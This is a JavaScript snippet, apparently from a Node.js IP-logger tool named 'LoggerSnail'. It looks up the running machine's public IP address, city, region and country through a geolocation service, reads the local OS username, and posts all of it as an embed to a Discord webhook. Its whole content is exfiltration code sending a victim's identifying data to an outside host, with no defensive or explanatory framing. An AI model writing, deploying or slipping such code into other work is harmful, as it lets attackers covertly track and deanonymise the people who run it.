const response = await fetch("https://json.geoiplookup.io/", {
method: "GET",
});
const ipShit = await response.json();
request.post({
method: "POST",
url: webhook,
headers: {
"Content-Type": "application/json",
},
body: JSON.stringify({
username: "LoggerSnail",
avatar_url:
"https://cdn.discordapp.com/avatars/411256446638882837/9a12fc7810795ded801fdb0401db0be6.png",
embeds: [
{
color: 16775057,
title: "New Ip Log: " + os.userInfo().username,
fields: [
{
name: "**Ip:**",
value: "||" + ipShit.ip + "||",
},
{
name: "**City:**",
value: "||" + ipShit.city + "||",
},
{
name: "**Region:**",
value: "||" + ipShit.region + "||",
},
{
name: "**Country:**",
value: "||" + ipShit.country_name + "||",
},
{
name: "**PC username:**",
value: "||" + os.userInfo().username + "||",
},
],
},
],
}),
});